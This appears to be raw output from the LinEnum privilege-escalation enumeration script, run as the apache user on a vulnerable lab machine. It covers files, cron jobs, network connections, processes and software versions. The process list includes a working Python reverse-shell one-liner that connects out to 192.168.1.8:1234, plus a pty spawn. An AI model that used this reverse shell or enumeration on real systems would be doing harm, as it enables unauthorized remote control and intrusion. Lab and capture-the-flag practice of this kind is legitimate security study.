-rw-r--r--. 1 root root 1423 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/basic/.hash.cmd
-rw-r--r--. 1 root root 85 Dec  2  2009 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/.gitignore
-rw-r--r--. 1 root root 37 Dec  2  2009 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/genksyms/.gitignore
-rw-r--r--. 1 root root 145 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/genksyms/.genksyms.cmd
-rw-r--r--. 1 root root 1024 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/genksyms/.parse.o.cmd
-rw-r--r--. 1 root root 1715 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/genksyms/.genksyms.o.cmd
-rw-r--r--. 1 root root 2227 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/genksyms/.lex.o.cmd
-rw-r--r--. 1 root root 1789 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/.pnmtologo.cmd
-rw-r--r--. 1 root root 1485 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/.conmakehash.cmd
-rw-r--r--. 1 root root 172 Dec  2  2009 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/kconfig/.gitignore
-rw-r--r--. 1 root root 3157 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/kconfig/.zconf.tab.o.cmd
-rw-r--r--. 1 root root 1806 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/kconfig/.kxgettext.o.cmd
-rw-r--r--. 1 root root 2158 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/kconfig/.conf.o.cmd
-rw-r--r--. 1 root root 110 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/kconfig/.conf.cmd
-rw-r--r--. 1 root root 31 Dec  2  2009 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/kconfig/lxdialog/.gitignore
-rw-r--r--. 1 root root 1631 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/.unifdef.cmd
-rw-r--r--. 1 root root 111 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.elfconfig.h.cmd
-rw-r--r--. 1 root root 129 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.modpost.cmd
-rw-r--r--. 1 root root 1803 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.empty.o.cmd
-rw-r--r--. 1 root root 34 Dec  2  2009 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.gitignore
-rw-r--r--. 1 root root 2455 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.mod-extract.cmd
-rw-r--r--. 1 root root 2780 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.sumversion.o.cmd
-rw-r--r--. 1 root root 2308 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.modpost.o.cmd
-rw-r--r--. 1 root root 1556 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.mk_elfconfig.cmd
-rw-r--r--. 1 root root 2011 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/scripts/mod/.file2alias.o.cmd
-rw-r--r--. 1 root root 107138 Nov 10  2015 /usr/src/kernels/2.6.32-573.8.1.el6.x86_64/.config
-rw-r--r--. 1 root root 65 Aug 13  2015 /usr/sbin/.sshd.hmac
-rw-r--r--. 1 root root 40 Sep 22  2015 /usr/share/man/man1/..1.gz
-rw-r--r--. 1 root root 42 Jul 23  2015 /usr/share/man/man5/.k5identity.5.gz
-rw-r--r--. 1 root root 39 Jul 23  2015 /usr/share/man/man5/.k5login.5.gz
-rw-r--r-- 1 root root 0 Aug 21 09:20 /.autofsck
-rw-r--r--. 1 eezeepz eezeepz 18 Sep 22  2015 /home/eezeepz/.bash_logout
-rw-r--r--. 1 eezeepz eezeepz 124 Sep 22  2015 /home/eezeepz/.bashrc
-rw-r--r--. 1 eezeepz eezeepz 176 Sep 22  2015 /home/eezeepz/.bash_profile
-rw-r--r--. 1 root root 0 Nov 17  2015 /var/cache/yum/x86_64/6/.gpgkeyschecked.yum
-rw-r--r--. 1 root root 0 Nov 17  2015 /var/lib/rpm/.rpm.lock
-rw-r--r-- 1 root root 0 Nov 17  2015 /.autorelabel


[-] World-readable files within /home:
-rwxr-xr-x. 1 eezeepz eezeepz 24376 Nov 17  2015 /home/eezeepz/MAKEDEV
-rwxr-xr-x. 1 eezeepz eezeepz 504400 Nov 17  2015 /home/eezeepz/xfs_repair
-rwxr-xr-x. 1 eezeepz eezeepz 48712 Nov 17  2015 /home/eezeepz/chmod
-rwxr-xr-x. 1 eezeepz eezeepz 5344 Nov 17  2015 /home/eezeepz/ctrlaltdel
-rwxr-xr-x. 1 eezeepz eezeepz 21112 Nov 17  2015 /home/eezeepz/true
-rwxr-xr-x. 1 eezeepz eezeepz 41704 Nov 17  2015 /home/eezeepz/cut
-rwxr-xr-x. 1 eezeepz eezeepz 12304 Nov 17  2015 /home/eezeepz/tracepath6
-rwxr-xr-x. 1 eezeepz eezeepz 5512 Nov 17  2015 /home/eezeepz/netreport
-rwxr-xr-x. 1 eezeepz eezeepz 13712 Nov 17  2015 /home/eezeepz/hostname
-rwxr-xr-x. 1 eezeepz eezeepz 11440 Nov 17  2015 /home/eezeepz/tracepath
-rwxr-xr-x. 1 eezeepz eezeepz 14832 Nov 17  2015 /home/eezeepz/halt
-rwxr-xr-x. 1 eezeepz eezeepz 16472 Nov 17  2015 /home/eezeepz/killall5
-rwxr-xr-x. 1 eezeepz eezeepz 129992 Nov 17  2015 /home/eezeepz/cpio
-rw-r--r--. 1 eezeepz eezeepz 18 Sep 22  2015 /home/eezeepz/.bash_logout
-rwxr-xr-x. 1 eezeepz eezeepz 12216 Nov 17  2015 /home/eezeepz/wipefs
-rwxr-xr-x. 1 eezeepz eezeepz 171784 Nov 17  2015 /home/eezeepz/nano
-rwxr-xr-x. 1 eezeepz eezeepz 4736 Nov 17  2015 /home/eezeepz/nologin
-rw-r--r--. 1 eezeepz eezeepz 124 Sep 22  2015 /home/eezeepz/.bashrc
-rwxr-xr-x. 1 eezeepz eezeepz 249000 Nov 17  2015 /home/eezeepz/tc
-rwxr-xr-x. 1 eezeepz eezeepz 11576 Nov 17  2015 /home/eezeepz/kill
-rwxr-xr-x. 1 eezeepz eezeepz 13892 Nov 17  2015 /home/eezeepz/new-kernel-pkg
-rwxr-xr-x. 1 eezeepz eezeepz 15410 Nov 17  2015 /home/eezeepz/weak-modules
-rwxr-xr-x. 1 eezeepz eezeepz 52936 Nov 17  2015 /home/eezeepz/chgrp
-rwxr-xr-x. 1 eezeepz eezeepz 44528 Nov 17  2015 /home/eezeepz/clock
-rwxr-xr-x. 1 eezeepz eezeepz 11352 Nov 17  2015 /home/eezeepz/taskset
-rwxr-xr-x. 1 eezeepz eezeepz 4808 Nov 17  2015 /home/eezeepz/consoletype
-rwxr-xr-x. 1 eezeepz eezeepz 32928 Nov 17  2015 /home/eezeepz/kpartx
-rwxr-xr-x. 1 eezeepz eezeepz 62 Nov 17  2015 /home/eezeepz/zcat
-rwxr-xr-x. 1 eezeepz eezeepz 56720 Nov 17  2015 /home/eezeepz/cfdisk
-rwxr-xr-x. 1 eezeepz eezeepz 31800 Nov 17  2015 /home/eezeepz/chkconfig
-rwxr-xr-x. 1 eezeepz eezeepz 51536 Nov 17  2015 /home/eezeepz/telinit
-rwxr-xr-x. 1 eezeepz eezeepz 13712 Nov 17  2015 /home/eezeepz/nisdomainname
-rwxr-xr-x. 1 eezeepz eezeepz 44528 Nov 17  2015 /home/eezeepz/hwclock
-rwxr-xr-x. 1 eezeepz eezeepz 38608 Nov 17  2015 /home/eezeepz/cryptsetup
-r--r--r--. 1 eezeepz eezeepz 514 Nov 18  2015 /home/eezeepz/notes.txt
-rwxr-xr-x. 1 eezeepz eezeepz 35608 Nov 17  2015 /home/eezeepz/tune2fs
-rwxr-xr-x. 1 eezeepz eezeepz 47928 Nov 17  2015 /home/eezeepz/touch
-rwxr-xr-x. 1 eezeepz eezeepz 13712 Nov 17  2015 /home/eezeepz/ypdomainname
-rwxr-xr-x. 1 eezeepz eezeepz 6976 Nov 17  2015 /home/eezeepz/cciss_id
-rwxr-xr-x. 1 eezeepz eezeepz 390616 Nov 17  2015 /home/eezeepz/tar
-rw-r--r--. 1 eezeepz eezeepz 176 Sep 22  2015 /home/eezeepz/.bash_profile
-rwxr-xr-x. 1 eezeepz eezeepz 47520 Nov 17  2015 /home/eezeepz/zic
-rwxr-xr-x. 1 eezeepz eezeepz 7920 Nov 17  2015 /home/eezeepz/kbd_mode
-rwxr-xr-x. 1 eezeepz eezeepz 11464 Nov 17  2015 /home/eezeepz/nameif
-rwxr-xr-x. 1 eezeepz eezeepz 25208 Nov 17  2015 /home/eezeepz/nice
-rwxr-xr-x. 1 eezeepz eezeepz 123360 Nov 17  2015 /home/eezeepz/netstat
-rwxr-xr-x. 1 eezeepz eezeepz 25072 Nov 17  2015 /home/eezeepz/chcpu
-rwxr-xr-x. 1 eezeepz eezeepz 53640 Nov 17  2015 /home/eezeepz/chown
-rwxr-xr-x. 1 eezeepz eezeepz 33559 Nov 17  2015 /home/eezeepz/cbq


[-] Home directory contents:
total 28K
drwxr-xr-x.  6 root root 4.0K Nov 17  2015 .
drwxr-xr-x. 19 root root 4.0K Nov 19  2015 ..
drwxr-xr-x.  2 root root 4.0K Aug 24  2015 cgi-bin
drwxr-xr-x.  3 root root 4.0K Nov 17  2015 error
drwxr-xr-x.  7 root root 4.0K Nov 25  2015 html
drwxr-xr-x.  3 root root 4.0K Nov 17  2015 icons
-rw-r--r--   1 root root   98 Nov 17  2015 notes.txt


### ENVIRONMENTAL #######################################
[-] Environment information:
TERM=linux
PATH=/sbin:/usr/sbin:/bin:/usr/bin
runlevel=3
RUNLEVEL=3
LANGSH_SOURCED=1
PWD=/var/www/html/fristi
LANG=C
previous=N
PREVLEVEL=N
CONSOLETYPE=vt
SHLVL=7
UPSTART_INSTANCE=
UPSTART_EVENTS=runlevel
UPSTART_JOB=rc
_=/bin/env


[-] SELinux seems to be present:
SELinux status:                 disabled


[-] Path information:
/sbin:/usr/sbin:/bin:/usr/bin


[-] Available shells:
/bin/sh
/bin/bash
/sbin/nologin
/bin/dash


[-] Current umask value:
0022
u=rwx,g=rx,o=rx


[-] umask value as specified in /etc/login.defs:
UMASK           077


[-] Password and storage information:
PASS_MAX_DAYS	99999
PASS_MIN_DAYS	0
PASS_WARN_AGE	7
ENCRYPT_METHOD SHA512 


### JOBS/TASKS ##########################################
[-] Cron jobs:
-rw-------. 1 root root    0 Nov 10  2015 /etc/cron.deny
-rw-r--r--. 1 root root  457 Sep 26  2011 /etc/crontab

/etc/cron.d:
total 16
drwxr-xr-x.  2 root root 4096 Nov 17  2015 .
drwxr-xr-x. 70 root root 4096 Aug 21 09:20 ..
-rw-r--r--.  1 root root  113 Nov 10  2015 0hourly
-rw-------.  1 root root  108 May 20  2015 raid-check

/etc/cron.daily:
total 12
drwxr-xr-x.  2 root root 4096 Nov 17  2015 .
drwxr-xr-x. 70 root root 4096 Aug 21 09:20 ..
-rwx------.  1 root root  180 Jul  9  2003 logrotate

/etc/cron.hourly:
total 12
drwxr-xr-x.  2 root root 4096 Nov 17  2015 .
drwxr-xr-x. 70 root root 4096 Aug 21 09:20 ..
-rwxr-xr-x.  1 root root  409 Nov 10  2015 0anacron

/etc/cron.monthly:
total 8
drwxr-xr-x.  2 root root 4096 Sep 26  2011 .
drwxr-xr-x. 70 root root 4096 Aug 21 09:20 ..

/etc/cron.weekly:
total 8
drwxr-xr-x.  2 root root 4096 Sep 26  2011 .
drwxr-xr-x. 70 root root 4096 Aug 21 09:20 ..


[-] Crontab contents:
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed


[-] Anacron jobs and associated file permissions:
-rw-------. 1 root root 541 Nov 10  2015 /etc/anacrontab


[-] When were jobs last executed (/var/spool/anacron contents):
total 20
drwxr-xr-x. 2 root root 4096 Nov 10  2015 .
drwxr-xr-x. 8 root root 4096 Nov 17  2015 ..
-rw-------. 1 root root    9 Aug 21 11:29 cron.daily
-rw-------. 1 root root    9 Aug 21 12:09 cron.monthly
-rw-------. 1 root root    9 Aug 21 11:49 cron.weekly


### NETWORKING  ##########################################
[-] Network and IP info:
eth0      Link encap:Ethernet  HWaddr 08:00:27:A5:A6:76  
          inet addr:192.168.1.49  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: 2a01:e35:1394:b540:a00:27ff:fea5:a676/64 Scope:Global
          inet6 addr: fe80::a00:27ff:fea5:a676/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:980913 errors:0 dropped:0 overruns:0 frame:0
          TX packets:788764 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:98114952 (93.5 MiB)  TX bytes:125308780 (119.5 MiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)


[-] ARP history:
? (192.168.1.8) at 08:00:27:ca:e8:b7 [ether] on eth0
? (192.168.1.254) at 68:a3:78:8b:0c:dd [ether] on eth0
? (192.168.1.29) at f4:5c:89:c9:be:c5 [ether] on eth0


[-] Nameserver(s):
nameserver 192.168.1.254


[-] Default route:
default         192.168.1.254   0.0.0.0         UG    0      0        0 eth0


[-] Listening TCP:
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   
tcp        0      0 0.0.0.0:8000                0.0.0.0:*                   LISTEN      2685/python         
tcp        0      0 0.0.0.0:3306                0.0.0.0:*                   LISTEN      -                   
tcp        0      0 192.168.1.49:39980          192.168.1.8:1234            ESTABLISHED 2699/python         
tcp        0      0 :::80                       :::*                        LISTEN      -                   
tcp        0      0 ::ffff:192.168.1.49:80      ::ffff:192.168.1.8:36084    ESTABLISHED -                   
tcp        0      0 ::ffff:192.168.1.49:80      ::ffff:192.168.1.8:36044    ESTABLISHED -                   


[-] Listening UDP:
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   
udp        0      0 0.0.0.0:68                  0.0.0.0:*                               -                   


### SERVICES #############################################
[-] Running processes:
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.1  19232  1492 ?        Ss   10:15   0:00 /sbin/init
root         2  0.0  0.0      0     0 ?        S    10:15   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S    10:15   0:00 [migration/0]
root         4  0.0  0.0      0     0 ?        S    10:15   0:00 [ksoftirqd/0]
root         5  0.0  0.0      0     0 ?        S    10:15   0:00 [stopper/0]
root         6  0.0  0.0      0     0 ?        S    10:15   0:00 [watchdog/0]
root         7  0.0  0.0      0     0 ?        S    10:15   0:02 [events/0]
root         8  0.0  0.0      0     0 ?        S    10:15   0:00 [events/0]
root         9  0.0  0.0      0     0 ?        S    10:15   0:00 [events_long/0]
root        10  0.0  0.0      0     0 ?        S    10:15   0:00 [events_power_ef]
root        11  0.0  0.0      0     0 ?        S    10:15   0:00 [cgroup]
root        12  0.0  0.0      0     0 ?        S    10:15   0:00 [khelper]
root        13  0.0  0.0      0     0 ?        S    10:15   0:00 [netns]
root        14  0.0  0.0      0     0 ?        S    10:15   0:00 [async/mgr]
root        15  0.0  0.0      0     0 ?        S    10:15   0:00 [pm]
root        16  0.0  0.0      0     0 ?        S    10:15   0:00 [sync_supers]
root        17  0.0  0.0      0     0 ?        S    10:15   0:00 [bdi-default]
root        18  0.0  0.0      0     0 ?        S    10:15   0:00 [kintegrityd/0]
root        19  0.0  0.0      0     0 ?        S    10:15   0:00 [kblockd/0]
root        20  0.0  0.0      0     0 ?        S    10:15   0:00 [kacpid]
root        21  0.0  0.0      0     0 ?        S    10:15   0:00 [kacpi_notify]
root        22  0.0  0.0      0     0 ?        S    10:15   0:00 [kacpi_hotplug]
root        23  0.0  0.0      0     0 ?        S    10:15   0:00 [ata_aux]
root        24  0.0  0.0      0     0 ?        S    10:15   0:00 [ata_sff/0]
root        25  0.0  0.0      0     0 ?        S    10:15   0:00 [ksuspend_usbd]
root        26  0.0  0.0      0     0 ?        S    10:15   0:00 [khubd]
root        27  0.0  0.0      0     0 ?        S    10:15   0:00 [kseriod]
root        28  0.0  0.0      0     0 ?        S    10:15   0:00 [md/0]
root        29  0.0  0.0      0     0 ?        S    10:15   0:00 [md_misc/0]
root        30  0.0  0.0      0     0 ?        S    10:15   0:00 [linkwatch]
root        32  0.0  0.0      0     0 ?        S    10:15   0:00 [khungtaskd]
root        33  0.0  0.0      0     0 ?        S    10:15   0:00 [kswapd0]
root        34  0.0  0.0      0     0 ?        SN   10:15   0:00 [ksmd]
root        35  0.0  0.0      0     0 ?        SN   10:15   0:00 [khugepaged]
root        36  0.0  0.0      0     0 ?        S    10:15   0:00 [aio/0]
root        37  0.0  0.0      0     0 ?        S    10:15   0:00 [crypto/0]
root        44  0.0  0.0      0     0 ?        S    10:15   0:00 [kthrotld/0]
root        46  0.0  0.0      0     0 ?        S    10:15   0:00 [kpsmoused]
root        47  0.0  0.0      0     0 ?        S    10:15   0:00 [usbhid_resumer]
root        48  0.0  0.0      0     0 ?        S    10:15   0:00 [deferwq]
root        81  0.0  0.0      0     0 ?        S    10:15   0:00 [kdmremove]
root        82  0.0  0.0      0     0 ?        S    10:15   0:00 [kstriped]
root       182  0.0  0.0      0     0 ?        S    10:15   0:00 [scsi_eh_0]
root       183  0.0  0.0      0     0 ?        S    10:15   0:00 [scsi_eh_1]
root       213  0.0  0.0      0     0 ?        S    10:15   0:00 [scsi_eh_2]
root       281  0.0  0.0      0     0 ?        S    10:15   0:00 [kdmflush]
root       283  0.0  0.0      0     0 ?        S    10:15   0:00 [kdmflush]
root       301  0.0  0.0      0     0 ?        S    10:15   0:00 [jbd2/dm-0-8]
root       302  0.0  0.0      0     0 ?        S    10:15   0:00 [ext4-dio-unwrit]
root       381  0.0  0.0  10768   872 ?        S<s  10:15   0:00 /sbin/udevd -d
root       532  0.0  0.0      0     0 ?        S    10:15   0:00 [iprt-VBoxWQueue]
root       672  0.0  0.0  10768   892 ?        S<   10:15   0:00 /sbin/udevd -d
root       680  0.0  0.0  10636   772 ?        S<   10:15   0:00 /sbin/udevd -d
root       705  0.0  0.0      0     0 ?        S    10:15   0:00 [flush-253:0]
root       706  0.0  0.0      0     0 ?        S    10:15   0:00 [jbd2/sda1-8]
root       707  0.0  0.0      0     0 ?        S    10:15   0:00 [ext4-dio-unwrit]
root       757  0.0  0.0      0     0 ?        S    10:15   0:00 [kauditd]
root      1005  0.0  0.0   9120   772 ?        Ss   10:15   0:00 /sbin/dhclient -1 -q -lf /var/lib/dhclient/dhclient-eth0.leases -pf /var/run/dhclient-eth0.pid eth0
root      1073  0.0  0.0  27596   812 ?        S<sl 10:15   0:00 auditd
root      1095  0.0  0.1 249084  1616 ?        Sl   10:15   0:00 /sbin/rsyslogd -i /var/run/syslogd.pid -c 5
root      1208  0.0  0.1 335540  1296 ?        Sl   10:15   0:01 /usr/sbin/VBoxService --pidfile /var/lock/subsys/vboxadd-service
root      1250  0.0  0.1 108168  1568 ?        S    10:15   0:00 /bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock --pid-file=/var/run/mysqld/mysqld.pid --basedir=/usr --user=mysql
mysql     1352  0.0  2.7 443228 28332 ?        Sl   10:15   0:02 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --log-error=/var/log/mysqld.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/lib/mysql/mysql.sock
root      1379  0.0  1.0 251996 11024 ?        Ss   10:15   0:00 /usr/sbin/httpd
root      1391  0.0  0.1 116860  1220 ?        Ss   10:15   0:00 crond
root      1412  0.0  0.0   4064   596 tty1     Ss+  10:15   0:00 /sbin/mingetty /dev/tty1
root      1414  0.0  0.0   4064   596 tty2     Ss+  10:15   0:00 /sbin/mingetty /dev/tty2
root      1416  0.0  0.0   4064   596 tty3     Ss+  10:15   0:00 /sbin/mingetty /dev/tty3
root      1418  0.0  0.0   4064   596 tty4     Ss+  10:15   0:00 /sbin/mingetty /dev/tty4
root      1420  0.0  0.0   4064   600 tty5     Ss+  10:15   0:00 /sbin/mingetty /dev/tty5
root      1422  0.0  0.0   4064   600 tty6     Ss+  10:15   0:00 /sbin/mingetty /dev/tty6
apache    2448  0.0  0.7 252616  7800 ?        S    11:29   0:00 /usr/sbin/httpd
apache    2449  0.0  0.7 252700  7752 ?        S    11:29   0:00 /usr/sbin/httpd
apache    2450  0.0  0.7 252700  7736 ?        S    11:29   0:00 /usr/sbin/httpd
apache    2451  0.0  0.7 252700  7792 ?        S    11:29   0:00 /usr/sbin/httpd
apache    2452  0.0  0.7 252700  7872 ?        S    11:29   0:00 /usr/sbin/httpd
apache    2453  0.0  0.7 252188  7872 ?        S    11:29   0:00 /usr/sbin/httpd
apache    2454  0.0  0.7 252700  7764 ?        S    11:29   0:00 /usr/sbin/httpd
apache    2455  0.0  0.7 253120  8056 ?        S    11:29   0:00 /usr/sbin/httpd
apache    2684  0.0  0.1  11300  1292 ?        S    12:12   0:00 sh -c cd /;python -m SimpleHTTPServer 8000 2>&1
apache    2685  0.0  0.8  80736  8448 ?        S    12:12   0:00 python -m SimpleHTTPServer 8000
apache    2698  0.0  0.1  11300  1288 ?        S    12:14   0:00 sh -c python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.8",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 2>&1
apache    2699  0.0  0.6  64384  6260 ?        S    12:14   0:00 python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.8",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
apache    2700  0.0  0.1  11436  1632 ?        S    12:14   0:00 /bin/sh -i
apache    2739  0.0  0.3  24452  3860 ?        S    12:21   0:00 python -c import pty; pty.spawn("/bin/bash")
apache    2740  0.0  0.1  11436  1604 pts/0    Ss   12:21   0:00 /bin/bash
apache    2770  0.0  0.1  11828  1868 pts/0    S+   12:26   0:00 /bin/bash ./LinEnum.sh -t
apache    2771  0.0  0.1  11832  1452 pts/0    S+   12:26   0:00 /bin/bash ./LinEnum.sh -t
apache    2772  0.0  0.0   4072   536 pts/0    S+   12:26   0:00 tee -a
root      2857  0.0  0.0      0     0 ?        S    12:26   0:00 [flush-8:0]
apache    3137  0.0  0.1  11832  1172 pts/0    S+   12:26   0:00 /bin/bash ./LinEnum.sh -t
apache    3138  0.0  0.1  13364  1060 pts/0    R+   12:26   0:00 ps aux


[-] Process binaries and associated permissions (from above list):
-rwxr-xr-x. 1 root root  906152 Sep 22  2015 /bin/bash
lrwxrwxrwx. 1 root root       4 Nov 17  2015 /bin/sh -> bash
-rwxr-xr-x. 1 root root  576384 Jul 24  2015 /sbin/dhclient
-rwxr-xr-x. 1 root root  150352 Mar 12  2014 /sbin/init
-rwxr-xr-x. 1 root root   15256 Sep 23  2011 /sbin/mingetty
-rwxr-xr-x. 1 root root  391360 Dec 17  2014 /sbin/rsyslogd
-rwxr-xr-x. 1 root root  129120 Jul 24  2015 /sbin/udevd
-rwxr-xr-x. 1 root root 7589488 Jun 22  2015 /usr/libexec/mysqld
lrwxrwxrwx. 1 root root      47 Nov 17  2015 /usr/sbin/VBoxService -> /opt/VBoxGuestAdditions-5.0.10/sbin/VBoxService
-rwxr-xr-x. 1 root root  355712 Aug 24  2015 /usr/sbin/httpd


[-] /etc/init.d/ binary permissions:
lrwxrwxrwx. 1 root root 11 Nov 17  2015 /etc/init.d -> rc.d/init.d


[-] /etc/rc.d/init.d binary permissions:
total 228
drwxr-xr-x.  2 root root  4096 Nov 17  2015 .
drwxr-xr-x. 10 root root  4096 Nov 17  2015 ..
-rwxr-xr-x.  1 root root  3580 Oct 15  2014 auditd
-r-xr-xr-x.  1 root root  1340 Sep 22  2015 blk-availability
-rwxr-xr-x.  1 root root  2826 Nov 10  2015 crond
-rw-r--r--.  1 root root 19697 Apr  9  2015 functions
-rwxr-xr-x.  1 root root  5929 Apr  9  2015 halt
-rwxr-xr-x.  1 root root  2001 Aug 24  2015 htcacheclean
-rwxr-xr-x.  1 root root  3371 Aug 24  2015 httpd
-rwxr-xr-x.  1 root root 11169 Jul 23  2015 ip6tables
-rwxr-xr-x.  1 root root 11048 Jul 23  2015 iptables
-rwxr-xr-x.  1 root root  4535 Feb 26  2015 iscsi
-rwxr-xr-x.  1 root root  3990 Feb 26  2015 iscsid
-rwxr-xr-x.  1 root root   652 Apr  9  2015 killall
-r-xr-xr-x.  1 root root  2134 Sep 22  2015 lvm2-lvmetad
-r-xr-xr-x.  1 root root  3042 Sep 22  2015 lvm2-monitor
-rwxr-xr-x.  1 root root  2571 May 20  2015 mdmonitor
-rwxr-xr-x.  1 root root  2523 Jul 23  2015 multipathd
-rwxr-xr-x.  1 root root  7026 Jun 22  2015 mysqld
-rwxr-xr-x.  1 root root  2989 Apr  9  2015 netconsole
-rwxr-xr-x.  1 root root  7570 Apr  9  2015 netfs
-rwxr-xr-x.  1 root root  6406 Apr  9  2015 network
-rwxr-xr-x.  1 root root  3912 Nov 10  2015 postfix
-rwxr-xr-x.  1 root root  1513 Dec 11  2014 rdisc
-rwxr-xr-x.  1 root root  1822 Jul 24  2015 restorecond
-rwxr-xr-x.  1 root root  2011 Dec 10  2014 rsyslog
-rwxr-xr-x.  1 root root  1698 Jul 24  2015 sandbox
-rwxr-xr-x.  1 root root  2056 Feb 27  2015 saslauthd
-rwxr-xr-x.  1 root root   647 Apr  9  2015 single
-rwxr-xr-x.  1 root root  4621 Aug 13  2015 sshd
-rwxr-xr-x.  1 root root  2294 Jul 24  2015 udev-post
-rwxr-xr-x.  1 root root 15566 Nov 17  2015 vboxadd
-rwxr-xr-x.  1 root root  4535 Nov 17  2015 vboxadd-service
-rwxr-xr-x.  1 root root 22252 Nov 17  2015 vboxadd-x11


[-] /etc/init/ config file permissions:
total 64
drwxr-xr-x.  2 root root 4096 Nov 17  2015 .
drwxr-xr-x. 70 root root 4096 Aug 21 09:20 ..
-rw-r--r--.  1 root root  412 Apr  9  2015 control-alt-delete.conf
-rw-r--r--.  1 root root  130 Mar 12  2014 init-system-dbus.conf
-rw-r--r--.  1 root root  463 Apr  9  2015 kexec-disable.conf
-rw-r--r--.  1 root root  560 Apr  9  2015 plymouth-shutdown.conf
-rw-r--r--.  1 root root  357 Apr  9  2015 prefdm.conf
-rw-r--r--.  1 root root  505 Apr  9  2015 quit-plymouth.conf
-rw-r--r--.  1 root root  417 Apr  9  2015 rc.conf
-rw-r--r--.  1 root root  430 Apr  9  2015 rcS-emergency.conf
-rw-r--r--.  1 root root  725 Apr  9  2015 rcS-sulogin.conf
-rw-r--r--.  1 root root 1046 Apr  9  2015 rcS.conf
-rw-r--r--.  1 root root 1302 Apr  9  2015 serial.conf
-rw-r--r--.  1 root root  791 Apr  9  2015 splash-manager.conf
-rw-r--r--.  1 root root  473 Apr  9  2015 start-ttys.conf
-rw-r--r--.  1 root root  335 Apr  9  2015 tty.conf


### SOFTWARE #############################################
[-] Sudo version:
Sudo version 1.8.6p3


[-] MYSQL version:
mysql  Ver 14.14 Distrib 5.1.73, for redhat-linux-gnu (x86_64) using readline 5.1


[-] Apache version:
Server version: Apache/2.2.15 (Unix)
Server built:   Aug 24 2015 17:52:49


[-] Installed Apache modules:
Loaded Modules:
 core_module (static)
 mpm_prefork_module (static)
 http_module (static)
 so_module (static)
 auth_basic_module (shared)
 auth_digest_module (shared)
 authn_file_module (shared)
 authn_alias_module (shared)
 authn_anon_module (shared)
 authn_dbm_module (shared)
 authn_default_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 authz_owner_module (shared)
 authz_groupfile_module (shared)
 authz_dbm_module (shared)
 authz_default_module (shared)
 ldap_module (shared)
 authnz_ldap_module (shared)
 include_module (shared)
 log_config_module (shared)
 logio_module (shared)
 env_module (shared)
 ext_filter_module (shared)
 mime_magic_module (shared)
 expires_module (shared)
 deflate_module (shared)
 headers_module (shared)
 usertrack_module (shared)
 setenvif_module (shared)
 mime_module (shared)
